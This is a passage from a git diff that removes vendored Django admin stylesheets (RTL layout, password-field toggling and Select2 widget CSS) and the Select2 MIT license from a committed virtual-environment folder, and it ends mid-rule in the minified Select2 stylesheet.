margin-right: 1.5em; -} - -.viewlink, .addlink, .changelink, .hidelink { - padding-left: 0; - padding-right: 16px; - background-position: 100% 1px; -} - -.deletelink { - padding-left: 0; - padding-right: 16px; - background-position: 100% 1px; -} - -.object-tools { - float: left; -} - -thead th:first-child, -tfoot td:first-child { - border-left: none; -} - -/* LAYOUT */ - -#user-tools { - right: auto; - left: 0; - text-align: left; -} - -div.breadcrumbs { - text-align: right; -} - -#content-main { - float: right; -} - -#content-related { - float: left; - margin-left: -300px; - margin-right: auto; -} - -.colMS { - margin-left: 300px; - margin-right: 0; -} - -/* SORTABLE TABLES */ - -table thead th.sorted .sortoptions { - float: left; -} - -thead th.sorted .text { - padding-right: 0; - padding-left: 42px; -} - -/* dashboard styles */ - -.dashboard .module table td a { - padding-left: .6em; - padding-right: 16px; -} - -/* changelists styles */ - -.change-list .filtered table { - border-left: none; - border-right: 0px none; -} - -#changelist-filter { - border-left: none; - border-right: none; - margin-left: 0; - margin-right: 30px; -} - -#changelist-filter li.selected { - border-left: none; - padding-left: 10px; - margin-left: 0; - border-right: 5px solid var(--hairline-color); - padding-right: 10px; - margin-right: -15px; -} - -#changelist table tbody td:first-child, #changelist table tbody th:first-child { - border-right: none; - border-left: none; -} - -.paginator .end { - margin-left: 6px; - margin-right: 0; -} - -.paginator input { - margin-left: 0; - margin-right: auto; -} - -/* FORMS */ - -.aligned label { - padding: 0 0 3px 1em; -} - -.submit-row a.deletelink { - margin-left: 0; - margin-right: auto; -} - -.vDateField, .vTimeField { - margin-left: 2px; -} - -.aligned .form-row input { - margin-left: 5px; -} - -form .aligned ul { - margin-right: 163px; - padding-right: 10px; - margin-left: 0; - padding-left: 0; -} - -form ul.inline li { - float: right; - padding-right: 0; - padding-left: 7px; -} - -form .aligned p.help, -form .aligned div.help { - margin-left: 0; - margin-right: 160px; - padding-right: 10px; -} - -form div.help ul, -form .aligned .checkbox-row + .help, -form .aligned p.date div.help.timezonewarning, -form .aligned p.datetime div.help.timezonewarning, -form .aligned p.time div.help.timezonewarning { - margin-right: 0; - padding-right: 0; -} - -form .wide p.help, -form .wide ul.errorlist, -form .wide div.help { - padding-left: 0; - padding-right: 50px; -} - -.submit-row { - text-align: right; -} - -fieldset .fieldBox { - margin-left: 20px; - margin-right: 0; -} - -.errorlist li { - background-position: 100% 12px; - padding: 0; -} - -.errornote { - background-position: 100% 12px; - padding: 10px 12px; -} - -/* WIDGETS */ - -.calendarnav-previous { - top: 0; - left: auto; - right: 10px; - background: url(../img/calendar-icons.svg) 0 -15px no-repeat; -} - -.calendarnav-next { - top: 0; - right: auto; - left: 10px; - background: url(../img/calendar-icons.svg) 0 0 no-repeat; -} - -.calendar caption, .calendarbox h2 { - text-align: center; -} - -.selector { - float: right; -} - -.selector .selector-filter { - text-align: right; -} - -.selector-add { - background: url(../img/selector-icons.svg) 0 -96px no-repeat; - background-size: 24px auto; -} - -:enabled.selector-add:focus, :enabled.selector-add:hover { - background-position: 0 -120px; -} - -.selector-remove { - background: url(../img/selector-icons.svg) 0 -144px no-repeat; - background-size: 24px auto; -} - -:enabled.selector-remove:focus, :enabled.selector-remove:hover { - background-position: 0 -168px; -} - -.selector-chooseall { - background: url(../img/selector-icons.svg) right -128px no-repeat; -} - -:enabled.selector-chooseall:focus, :enabled.selector-chooseall:hover { - background-position: 100% -144px; -} - -.selector-clearall { - background: url(../img/selector-icons.svg) 0 -160px no-repeat; -} - -:enabled.selector-clearall:focus, :enabled.selector-clearall:hover { - background-position: 0 -176px; -} - -.inline-deletelink { - float: left; -} - -form .form-row p.datetime { - overflow: hidden; -} - -.related-widget-wrapper { - float: right; -} - -/* MISC */ - -.inline-related h2, .inline-group h2 { - text-align: right -} - -.inline-related h3 span.delete { - padding-right: 20px; - padding-left: inherit; - left: 10px; - right: inherit; - float:left; -} - -.inline-related h3 span.delete label { - margin-left: inherit; - margin-right: 2px; -} - -.inline-group .tabular td.original p { - right: 0; -} - -.selector .selector-chooser { - margin: 0; -} diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/css/unusable_password_field.css b/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/css/unusable_password_field.css deleted file mode 100644 index d46eb038..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/css/unusable_password_field.css +++ /dev/null @@ -1,19 +0,0 @@ -/* Hide warnings fields if usable password is selected */ -form:has(#id_usable_password input[value="true"]:checked) .messagelist { - display: none; -} - -/* Hide password fields if unusable password is selected */ -form:has(#id_usable_password input[value="false"]:checked) .field-password1, -form:has(#id_usable_password input[value="false"]:checked) .field-password2 { - display: none; -} - -/* Select appropriate submit button */ -form:has(#id_usable_password input[value="true"]:checked) input[type="submit"].unset-password { - display: none; -} - -form:has(#id_usable_password input[value="false"]:checked) input[type="submit"].set-password { - display: none; -} diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/css/vendor/select2/LICENSE-SELECT2.md b/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/css/vendor/select2/LICENSE-SELECT2.md deleted file mode 100644 index 8cb8a2b1..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/css/vendor/select2/LICENSE-SELECT2.md +++ /dev/null @@ -1,21 +0,0 @@ -The MIT License (MIT) - -Copyright (c) 2012-2017 Kevin Brown, Igor Vaynberg, and Select2 contributors - -Permission is hereby granted, free of charge, to any person obtaining a copy -of this software and associated documentation files (the "Software"), to deal -in the Software without restriction, including without limitation the rights -to use, copy, modify, merge, publish, distribute, sublicense, and/or sell -copies of the Software, and to permit persons to whom the Software is -furnished to do so, subject to the following conditions: - -The above copyright notice and this permission notice shall be included in -all copies or substantial portions of the Software. - -THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR -IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, -FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE -AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER -LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, -OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN -THE SOFTWARE. diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/css/vendor/select2/select2.css b/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/css/vendor/select2/select2.css deleted file mode 100644 index 750b3207..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/css/vendor/select2/select2.css +++ /dev/null @@ -1,481 +0,0 @@ -.select2-container { - box-sizing: border-box; - display: inline-block; - margin: 0; - position: relative; - vertical-align: middle; } - .select2-container .select2-selection--single { - box-sizing: border-box; - cursor: pointer; - display: block; - height: 28px; - user-select: none; - -webkit-user-select: none; } - .select2-container .select2-selection--single .select2-selection__rendered { - display: block; - padding-left: 8px; - padding-right: 20px; - overflow: hidden; - text-overflow: ellipsis; - white-space: nowrap; } - .select2-container .select2-selection--single .select2-selection__clear { - position: relative; } - .select2-container[dir="rtl"] .select2-selection--single .select2-selection__rendered { - padding-right: 8px; - padding-left: 20px; } - .select2-container .select2-selection--multiple { - box-sizing: border-box; - cursor: pointer; - display: block; - min-height: 32px; - user-select: none; - -webkit-user-select: none; } - .select2-container .select2-selection--multiple .select2-selection__rendered { - display: inline-block; - overflow: hidden; - padding-left: 8px; - text-overflow: ellipsis; - white-space: nowrap; } - .select2-container .select2-search--inline { - float: left; } - .select2-container .select2-search--inline .select2-search__field { - box-sizing: border-box; - border: none; - font-size: 100%; - margin-top: 5px; - padding: 0; } - .select2-container .select2-search--inline .select2-search__field::-webkit-search-cancel-button { - -webkit-appearance: none; } - -.select2-dropdown { - background-color: white; - border: 1px solid #aaa; - border-radius: 4px; - box-sizing: border-box; - display: block; - position: absolute; - left: -100000px; - width: 100%; - z-index: 1051; } - -.select2-results { - display: block; } - -.select2-results__options { - list-style: none; - margin: 0; - padding: 0; } - -.select2-results__option { - padding: 6px; - user-select: none; - -webkit-user-select: none; } - .select2-results__option[aria-selected] { - cursor: pointer; } - -.select2-container--open .select2-dropdown { - left: 0; } - -.select2-container--open .select2-dropdown--above { - border-bottom: none; - border-bottom-left-radius: 0; - border-bottom-right-radius: 0; } - -.select2-container--open .select2-dropdown--below { - border-top: none; - border-top-left-radius: 0; - border-top-right-radius: 0; } - -.select2-search--dropdown { - display: block; - padding: 4px; } - .select2-search--dropdown .select2-search__field { - padding: 4px; - width: 100%; - box-sizing: border-box; } - .select2-search--dropdown .select2-search__field::-webkit-search-cancel-button { - -webkit-appearance: none; } - .select2-search--dropdown.select2-search--hide { - display: none; } - -.select2-close-mask { - border: 0; - margin: 0; - padding: 0; - display: block; - position: fixed; - left: 0; - top: 0; - min-height: 100%; - min-width: 100%; - height: auto; - width: auto; - opacity: 0; - z-index: 99; - background-color: #fff; - filter: alpha(opacity=0); } - -.select2-hidden-accessible { - border: 0 !important; - clip: rect(0 0 0 0) !important; - -webkit-clip-path: inset(50%) !important; - clip-path: inset(50%) !important; - height: 1px !important; - overflow: hidden !important; - padding: 0 !important; - position: absolute !important; - width: 1px !important; - white-space: nowrap !important; } - -.select2-container--default .select2-selection--single { - background-color: #fff; - border: 1px solid #aaa; - border-radius: 4px; } - .select2-container--default .select2-selection--single .select2-selection__rendered { - color: #444; - line-height: 28px; } - .select2-container--default .select2-selection--single .select2-selection__clear { - cursor: pointer; - float: right; - font-weight: bold; } - .select2-container--default .select2-selection--single .select2-selection__placeholder { - color: #999; } - .select2-container--default .select2-selection--single .select2-selection__arrow { - height: 26px; - position: absolute; - top: 1px; - right: 1px; - width: 20px; } - .select2-container--default .select2-selection--single .select2-selection__arrow b { - border-color: #888 transparent transparent transparent; - border-style: solid; - border-width: 5px 4px 0 4px; - height: 0; - left: 50%; - margin-left: -4px; - margin-top: -2px; - position: absolute; - top: 50%; - width: 0; } - -.select2-container--default[dir="rtl"] .select2-selection--single .select2-selection__clear { - float: left; } - -.select2-container--default[dir="rtl"] .select2-selection--single .select2-selection__arrow { - left: 1px; - right: auto; } - -.select2-container--default.select2-container--disabled .select2-selection--single { - background-color: #eee; - cursor: default; } - .select2-container--default.select2-container--disabled .select2-selection--single .select2-selection__clear { - display: none; } - -.select2-container--default.select2-container--open .select2-selection--single .select2-selection__arrow b { - border-color: transparent transparent #888 transparent; - border-width: 0 4px 5px 4px; } - -.select2-container--default .select2-selection--multiple { - background-color: white; - border: 1px solid #aaa; - border-radius: 4px; - cursor: text; } - .select2-container--default .select2-selection--multiple .select2-selection__rendered { - box-sizing: border-box; - list-style: none; - margin: 0; - padding: 0 5px; - width: 100%; } - .select2-container--default .select2-selection--multiple .select2-selection__rendered li { - list-style: none; } - .select2-container--default .select2-selection--multiple .select2-selection__clear { - cursor: pointer; - float: right; - font-weight: bold; - margin-top: 5px; - margin-right: 10px; - padding: 1px; } - .select2-container--default .select2-selection--multiple .select2-selection__choice { - background-color: #e4e4e4; - border: 1px solid #aaa; - border-radius: 4px; - cursor: default; - float: left; - margin-right: 5px; - margin-top: 5px; - padding: 0 5px; } - .select2-container--default .select2-selection--multiple .select2-selection__choice__remove { - color: #999; - cursor: pointer; - display: inline-block; - font-weight: bold; - margin-right: 2px; } - .select2-container--default .select2-selection--multiple .select2-selection__choice__remove:hover { - color: #333; } - -.select2-container--default[dir="rtl"] .select2-selection--multiple .select2-selection__choice, .select2-container--default[dir="rtl"] .select2-selection--multiple .select2-search--inline { - float: right; } - -.select2-container--default[dir="rtl"] .select2-selection--multiple .select2-selection__choice { - margin-left: 5px; - margin-right: auto; } - -.select2-container--default[dir="rtl"] .select2-selection--multiple .select2-selection__choice__remove { - margin-left: 2px; - margin-right: auto; } - -.select2-container--default.select2-container--focus .select2-selection--multiple { - border: solid black 1px; - outline: 0; } - -.select2-container--default.select2-container--disabled .select2-selection--multiple { - background-color: #eee; - cursor: default; } - -.select2-container--default.select2-container--disabled .select2-selection__choice__remove { - display: none; } - -.select2-container--default.select2-container--open.select2-container--above .select2-selection--single, .select2-container--default.select2-container--open.select2-container--above .select2-selection--multiple { - border-top-left-radius: 0; - border-top-right-radius: 0; } - -.select2-container--default.select2-container--open.select2-container--below .select2-selection--single, .select2-container--default.select2-container--open.select2-container--below .select2-selection--multiple { - border-bottom-left-radius: 0; - border-bottom-right-radius: 0; } - -.select2-container--default .select2-search--dropdown .select2-search__field { - border: 1px solid #aaa; } - -.select2-container--default .select2-search--inline .select2-search__field { - background: transparent; - border: none; - outline: 0; - box-shadow: none; - -webkit-appearance: textfield; } - -.select2-container--default .select2-results > .select2-results__options { - max-height: 200px; - overflow-y: auto; } - -.select2-container--default .select2-results__option[role=group] { - padding: 0; } - -.select2-container--default .select2-results__option[aria-disabled=true] { - color: #999; } - -.select2-container--default .select2-results__option[aria-selected=true] { - background-color: #ddd; } - -.select2-container--default .select2-results__option .select2-results__option { - padding-left: 1em; } - .select2-container--default .select2-results__option .select2-results__option .select2-results__group { - padding-left: 0; } - .select2-container--default .select2-results__option .select2-results__option .select2-results__option { - margin-left: -1em; - padding-left: 2em; } - .select2-container--default .select2-results__option .select2-results__option .select2-results__option .select2-results__option { - margin-left: -2em; - padding-left: 3em; } - .select2-container--default .select2-results__option .select2-results__option .select2-results__option .select2-results__option .select2-results__option { - margin-left: -3em; - padding-left: 4em; } - .select2-container--default .select2-results__option .select2-results__option .select2-results__option .select2-results__option .select2-results__option .select2-results__option { - margin-left: -4em; - padding-left: 5em; } - .select2-container--default .select2-results__option .select2-results__option .select2-results__option .select2-results__option .select2-results__option .select2-results__option .select2-results__option { - margin-left: -5em; - padding-left: 6em; } - -.select2-container--default .select2-results__option--highlighted[aria-selected] { - background-color: #5897fb; - color: white; } - -.select2-container--default .select2-results__group { - cursor: default; - display: block; - padding: 6px; } - -.select2-container--classic .select2-selection--single { - background-color: #f7f7f7; - border: 1px solid #aaa; - border-radius: 4px; - outline: 0; - background-image: -webkit-linear-gradient(top, white 50%, #eeeeee 100%); - background-image: -o-linear-gradient(top, white 50%, #eeeeee 100%); - background-image: linear-gradient(to bottom, white 50%, #eeeeee 100%); - background-repeat: repeat-x; - filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#FFFFFFFF', endColorstr='#FFEEEEEE', GradientType=0); } - .select2-container--classic .select2-selection--single:focus { - border: 1px solid #5897fb; } - .select2-container--classic .select2-selection--single .select2-selection__rendered { - color: #444; - line-height: 28px; } - .select2-container--classic .select2-selection--single .select2-selection__clear { - cursor: pointer; - float: right; - font-weight: bold; - margin-right: 10px; } - .select2-container--classic .select2-selection--single .select2-selection__placeholder { - color: #999; } - .select2-container--classic .select2-selection--single .select2-selection__arrow { - background-color: #ddd; - border: none; - border-left: 1px solid #aaa; - border-top-right-radius: 4px; - border-bottom-right-radius: 4px; - height: 26px; - position: absolute; - top: 1px; - right: 1px; - width: 20px; - background-image: -webkit-linear-gradient(top, #eeeeee 50%, #cccccc 100%); - background-image: -o-linear-gradient(top, #eeeeee 50%, #cccccc 100%); - background-image: linear-gradient(to bottom, #eeeeee 50%, #cccccc 100%); - background-repeat: repeat-x; - filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#FFEEEEEE', endColorstr='#FFCCCCCC', GradientType=0); } - .select2-container--classic .select2-selection--single .select2-selection__arrow b { - border-color: #888 transparent transparent transparent; - border-style: solid; - border-width: 5px 4px 0 4px; - height: 0; - left: 50%; - margin-left: -4px; - margin-top: -2px; - position: absolute; - top: 50%; - width: 0; } - -.select2-container--classic[dir="rtl"] .select2-selection--single .select2-selection__clear { - float: left; } - -.select2-container--classic[dir="rtl"] .select2-selection--single .select2-selection__arrow { - border: none; - border-right: 1px solid #aaa; - border-radius: 0; - border-top-left-radius: 4px; - border-bottom-left-radius: 4px; - left: 1px; - right: auto; } - -.select2-container--classic.select2-container--open .select2-selection--single { - border: 1px solid #5897fb; } - .select2-container--classic.select2-container--open .select2-selection--single .select2-selection__arrow { - background: transparent; - border: none; } - .select2-container--classic.select2-container--open .select2-selection--single .select2-selection__arrow b { - border-color: transparent transparent #888 transparent; - border-width: 0 4px 5px 4px; } - -.select2-container--classic.select2-container--open.select2-container--above .select2-selection--single { - border-top: none; - border-top-left-radius: 0; - border-top-right-radius: 0; - background-image: -webkit-linear-gradient(top, white 0%, #eeeeee 50%); - background-image: -o-linear-gradient(top, white 0%, #eeeeee 50%); - background-image: linear-gradient(to bottom, white 0%, #eeeeee 50%); - background-repeat: repeat-x; - filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#FFFFFFFF', endColorstr='#FFEEEEEE', GradientType=0); } - -.select2-container--classic.select2-container--open.select2-container--below .select2-selection--single { - border-bottom: none; - border-bottom-left-radius: 0; - border-bottom-right-radius: 0; - background-image: -webkit-linear-gradient(top, #eeeeee 50%, white 100%); - background-image: -o-linear-gradient(top, #eeeeee 50%, white 100%); - background-image: linear-gradient(to bottom, #eeeeee 50%, white 100%); - background-repeat: repeat-x; - filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#FFEEEEEE', endColorstr='#FFFFFFFF', GradientType=0); } - -.select2-container--classic .select2-selection--multiple { - background-color: white; - border: 1px solid #aaa; - border-radius: 4px; - cursor: text; - outline: 0; } - .select2-container--classic .select2-selection--multiple:focus { - border: 1px solid #5897fb; } - .select2-container--classic .select2-selection--multiple .select2-selection__rendered { - list-style: none; - margin: 0; - padding: 0 5px; } - .select2-container--classic .select2-selection--multiple .select2-selection__clear { - display: none; } - .select2-container--classic .select2-selection--multiple .select2-selection__choice { - background-color: #e4e4e4; - border: 1px solid #aaa; - border-radius: 4px; - cursor: default; - float: left; - margin-right: 5px; - margin-top: 5px; - padding: 0 5px; } - .select2-container--classic .select2-selection--multiple .select2-selection__choice__remove { - color: #888; - cursor: pointer; - display: inline-block; - font-weight: bold; - margin-right: 2px; } - .select2-container--classic .select2-selection--multiple .select2-selection__choice__remove:hover { - color: #555; } - -.select2-container--classic[dir="rtl"] .select2-selection--multiple .select2-selection__choice { - float: right; - margin-left: 5px; - margin-right: auto; } - -.select2-container--classic[dir="rtl"] .select2-selection--multiple .select2-selection__choice__remove { - margin-left: 2px; - margin-right: auto; } - -.select2-container--classic.select2-container--open .select2-selection--multiple { - border: 1px solid #5897fb; } - -.select2-container--classic.select2-container--open.select2-container--above .select2-selection--multiple { - border-top: none; - border-top-left-radius: 0; - border-top-right-radius: 0; } - -.select2-container--classic.select2-container--open.select2-container--below .select2-selection--multiple { - border-bottom: none; - border-bottom-left-radius: 0; - border-bottom-right-radius: 0; } - -.select2-container--classic .select2-search--dropdown .select2-search__field { - border: 1px solid #aaa; - outline: 0; } - -.select2-container--classic .select2-search--inline .select2-search__field { - outline: 0; - box-shadow: none; } - -.select2-container--classic .select2-dropdown { - background-color: white; - border: 1px solid transparent; } - -.select2-container--classic .select2-dropdown--above { - border-bottom: none; } - -.select2-container--classic .select2-dropdown--below { - border-top: none; } - -.select2-container--classic .select2-results > .select2-results__options { - max-height: 200px; - overflow-y: auto; } - -.select2-container--classic .select2-results__option[role=group] { - padding: 0; } - -.select2-container--classic .select2-results__option[aria-disabled=true] { - color: grey; } - -.select2-container--classic .select2-results__option--highlighted[aria-selected] { - background-color: #3875d7; - color: white; } - -.select2-container--classic .select2-results__group { - cursor: default; - display: block; - padding: 6px; } - -.select2-container--classic.select2-container--open .select2-dropdown { - border-color: #5897fb; } diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/css/vendor/select2/select2.min.css b/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/css/vendor/select2/select2.min.css deleted file mode 100644 index 7c18ad59..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/css/vendor/select2/select2.min.css +++ /dev/null @@ -1 +0,0 @@ -.select2-container{box-sizing:border-box;display:inline-block;margin:0;position:relative;vertical-align:middle}.select2-container .select2-selection--single{box-sizing:border-box;cursor:pointer;display:block;height:28px;user-select:none;-webkit-user-select:none}.select2-container .select2-selection--single .select2-selection__rendered{display:block;padding-left:8px;padding-right:20px;overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.select2-container .select2-selection--single .select2-selection__clear{position:relative}.select2-container[dir="rtl"] .select2-selection--single .select2-selection__rendered{padding-right:8px;padding-left:20px}.select2-container .select2-selection--multiple{box-sizing:border-box;cursor:pointer;display:block;min-height:32px;user-select:none;-webkit-user-select:none}.select2-container .select2-selection--multiple .select2-selection__rendered{display:inline-block;overflow:hidden;padding-left:8px;text-overflow:ellipsis;white-space:nowrap}.select2-container .select2-search--inline{float:left}.select2-container .select2-search--inline .select2-search__field{box-sizing:border-box;border:none;font-size:100%;margin-top:5px;padding:0}.select2-container .select2-search--inline .select2-search__field::-webkit-search-cancel-button{-webkit-appearance:none}.select2-dropdown{background-color:white;border:1px solid #aaa;border-radius:4px;box-sizing:border-box;display:block;position:absolute;left:-100000px;width:100%;z-index:1051}.select2-results{display:block}.select2-results__options{list-style:none;margin:0;padding:0}.select2-results__option{padding:6px;user-select:none;-webkit-user-select:none}.select2-results__option[aria-selected]{cursor:pointer}.select2-container--open .select2-dropdown{left:0}.select2-container--open .select2-dropdown--above{border-bottom:none;border-bottom-left-radius:0;border-bottom-right-radius:0}.select2-container--open .select2-dropdown--below{border-top:none;border-top-left-radius:0;border-top-right-radius:0}.select2-search--dropdown{display:block;padding:4px}.select2-search--dropdown .select2-search__field{padding:4px;width:100%;box-sizing:border-box}.select2-search--dropdown .select2-search__field::-webkit-search-cancel-button{-webkit-appearance:none}.select2-search--dropdown.select2-search--hide{display:none}.select2-close-mask{border:0;margin:0;padding:0;display:block;position:fixed;left:0;top:0;min-height:100%;min-width:100%;height:auto;width:auto;opacity:0;z-index:99;background-color:#fff;filter:alpha(opacity=0)}.select2-hidden-accessible{border:0 !important;clip:rect(0 0 0 0) !important;-webkit-clip-path:inset(50%) !important;clip-path:inset(50%) !important;height:1px !important;overflow:hidden !important;padding:0 !important;position:absolute !important;width:1px !important;white-space:nowrap !important}.select2-container--default .select2-selection--single{background-color:#fff;border:1px solid #aaa;border-radius:4px}.select2-container--default .select2-selection--single .select2-selection__rendered{color:#444;line-height:28px}.select2-container--default .select2-selection--single .select2-selection__clear{cursor:pointer;float:right;font-weight:bold}.select2-container--default .select2-selection--single .select2-selection__placeholder{color:#999}.select2-container--default .select2-selection--single .select2-selection__arrow{height:26px;position:absolute;top:1px;right:1px;width:20px}.select2-container--default .select2-selection--single .select2-selection__arrow b{border-color:#888 transparent transparent transparent;border-style:solid;border-width:5px 4px 0 4px;height:0;left:50%;margin-left:-4px;margin-top:-2px;position:absolute;top:50%;width:0}.select2-container--default[dir="rtl"] .select2-selection--single .select2-selection__clear{float:left}.select2-container--default[dir="rtl"] .select2-selection--single .select2-selection__arrow{left:1px;right:auto}.select2-container--default.select2-container--disabled .select2-selection--single{background-color:#eee;cursor:default}.select2-container--default.select2-container--disabled .select2-selection--single .select2-selection__clear{display:none}.select2-container--default.select2-container--open .select2-selection--single .select2-selection__arrow b{border-color:transparent transparent #888 transparent;border-width:0 4px 5px 4px}.select2-container--default .select2-selection--multiple{background-color:white;border:1px solid #aaa;border-radius:4px;cursor:text}.select2-container--default .select2-selection--multiple .select2-selection__rendered{box-sizing:border-box;list-style:none;margin:0;padding:0 5px;width:100%}.select2-container--default .select2-selection--multiple .select2-selection__rendered li{list-style:none}.select2-container--default .select2-selection--multiple .select2-selection__clear{cursor:pointer;float:right;font-weight:bold;margin-top:5px;margin-right:10px;padding:1px}.select2-container--default .select2-selection--multiple .select2-selection__choice{background-color:#e4e4e4;border:1px solid #aaa;border-radius:4px;cursor:default;float:left;margin-right:5px;margin-top:5px;padding:0 5px}.select2-container--default .select2-selection--multiple .select2-selection__choice__remove{color:#999;cursor:pointer;display:inline-block;font-weight:bold;margin-right:2px}.select2-container--default .select2-selection--multiple .select2-selection__choice__remove:hover{color:#333}.select2-container--default[dir="rtl"] .select2-selection--multiple .select2-selection__choice,.select2-container--default[dir="rtl"] .select2-selection--multiple .select2-search--inline{float:right}.select2-container--default[dir="rtl"] .select2-selection--multiple .select2-selection__choice{margin-left:5px;margin-right:auto}.select2-container--default[dir="rtl"] .select2-selection--multiple .select2-selection__choice__remove{margin-left:2px;margin-right:auto}.select2-container--default.select2-container--focus .select2-selection--multiple{border:solid black 1px;outline:0}.select2-container--default.select2-container--disabled .select2-selection--multiple{background-color:#eee;cursor:default}.select2-container--default.select2-container--disabled .select2-selection__choice__remove{display:none}.select2-container--default.select2-container--open.select2-container--above .select2-selection--single,.select2-container--default.select2-container--open.select2-container--above .select2-selection--multiple{border-top-left-radius:0;border-top-right-radius:0}.select2-container--default.select2-container--open.select2-container--below .select2-selection--single,.select2-container--default.select2-container--open.select2-container--below .select2-selection--multiple{border-bottom-left-radius:0;border-bottom-right-radius:0}.select2-container--default .select2-search--dropdown .select2-search__field{border:1px solid #aaa}.select2-container--default .select2-search--inline .select2-search__field{background:transparent;border:none;outline:0;box-shadow:none;-webkit-appearance:textfield}.select2-container--default .select2-results>.select2-results__options{max-height:200px;overflow-y:auto}.select2-container--default .select2-results__option[role=group]{padding:0}.select2-container--default .select2-results__option[aria-disabled=true]{color:#999}.select2-container--default .select2-results__option[aria-selected=true]{background-color:#ddd}.select2-container--default .select2-results__option .select2-results__option{padding-left:1em}.select2-container--default .select2-results__option .select2-results__option .select2-results__group{padding-left:0}.select2-container--default .select2-results__option .select2-results__option .select2-results__option{margin-left:-1em;padding-left:2em}.select2-container--default .select2-results__option .select2-results__option .select2-results__option .select2-results__option{margin-left:-2em;padding-left:3em}.select2-container--default .select2-results__option .select2-results__option .select2-results__option .select2-results__option .select2-results__option{margin-left:-3em;padding-left:4em}.select2-container--default .select2-results__option .select2-results__option .select2-results__option .select2-results__option .select2-results__option .select2-results__option{margin-left:-4em;padding-left:5em}.select2-container--default .select2-results__option .select2-results__option .select2-results__option .select2-results__option .select2-results__option .select2-results__option .select2-results__option{margin-left:-5em;padding-left:6em}.select2-container--default .select2-results__option--highlighted[aria-selected]{background-color:#5897fb;color:white}.select2-container--default .select2-results__group{cursor:default;display:block;padding:6px}.select2-container--classic .select2-selection--single{background-color:#f7f7f7;border:1px solid #aaa;border-radius:4px;outline:0;background-image:-webkit-linear-gradient(top, #fff 50%, #eee 100%);background-image:-o-linear-gradient(top, #fff 50%, #eee 100%);background-image:linear-gradient(to bottom, #fff 50%, #eee 100%);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#FFFFFFFF', endColorstr='#FFEEEEEE', GradientType=0)}.select2-container--classic .select2-selection--single:focus{border:1px solid #5897fb}.select2-container--classic .select2-selection--single .select2-selection__rendered{color:#444;line-height:28px}.select2-container--classic .select2-selection--single .select2-selection__clear{cursor:pointer;float:right;font-weight:bold;margin-right:10px}.select2-container--classic .select2-selection--single .select2-selection__placeholder{color:#999}.select2-container--classic .select2-selection--single .select2-selection__arrow{background-color:#ddd;border:none;border-left:1px solid #aaa;border-top-right-radius:4px;border-bottom-right-radius:4px;height:26px;position:absolute;top:1px;right:1px;width:20px;background-image:-webkit-linear-gradient(top, #eee 50%, #ccc 100%);background-image:-o-linear-gradient(top, #eee 50%, #ccc 100%);background-image:linear-gradient(to bottom, #eee 50%, #ccc 100%);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#FFEEEEEE', endColorstr='#FFCCCCCC', GradientType=0)}.select2-container--classic .select2-selection--single .select2-selection__arrow b{border-color:#888 transparent transparent transparent;border-style:solid;border-width:5px 4px 0 4px;height:0;left:50%;margin-left:-4px;margin-top:-2px;position:absolute;top:50%;width:0}.select2-container--classic[dir="rtl"] .select2-selection--single .select2-selection__clear{float:left}.select2-container--classic[dir="rtl"] .select2-selection--single .select2-selection__arrow{border:none;border-right:1px solid #aaa;border-radius:0;border-top-left-radius:4px;border-bottom-left-radius:4px;left:1px;right:auto}.select2-container--classic.select2-container--open .select2-selection--single{border:1px solid #5897fb}.select2-container--classic.select2-container--open .select2-selection--single .select2-selection__arrow{background:transparent;border:none}.select2-container--classic.select2-container--open .select2-selection--single .select2-selection__arrow b{border-color:transparent transparent #888 transparent;border-width:0 4px 5px 4px}.select2-container--classic.select2-container--open.select2-container--above .select2-selection--single{border-top:none;border-top-left-radius:0;border-top-right-radius:0;background-image:-webkit-linear-gradient(top, #fff 0%, #eee 50%);background-image:-o-linear-gradient(top, #fff 0%, #eee 50%);background-image:linear-gradient(to bottom, #fff 0%, #eee 50%);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#FFFFFFFF', endColorstr='#FFEEEEEE', GradientType=0)}.select2-container--classic.select2-container--open.select2-container--below .select2-selection--single{border-bottom:none;border-bottom-left-radius:0;border-bottom-right-radius:0;background-image:-webkit-linear-gradient(top, #eee 50%, #fff 100%);background-image:-o-linear-gradient(top, #eee 50%, #fff 100%);background-image:linear-gradient(to bottom, #eee 50%, #fff 100%);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#FFEEEEEE', endColorstr='#FFFFFFFF', GradientType=0)}.select2-container--classic .select2-selection--multiple{background-color:white;border:1px solid #aaa;border-radius:4px;cursor:text;outline:0}.select2-container--classic .select2-selection--multiple:focus{border:1px solid #5897fb}.select2-container--classic .select2-selection--multiple .select2-selection__rendered{list-style:none;margin:0;padding:0 5px}.select2-container--classic .select2-selection--multiple .select2-selection__clear{display:none}.select2-container--classic .select2-selection--multiple .select2-selection__choice{background-color:#e4e4e4;border:1px solid #aaa;border-radius:4px;cursor:default;float:left;margin-right:5px;margin-top:5px;padding:0 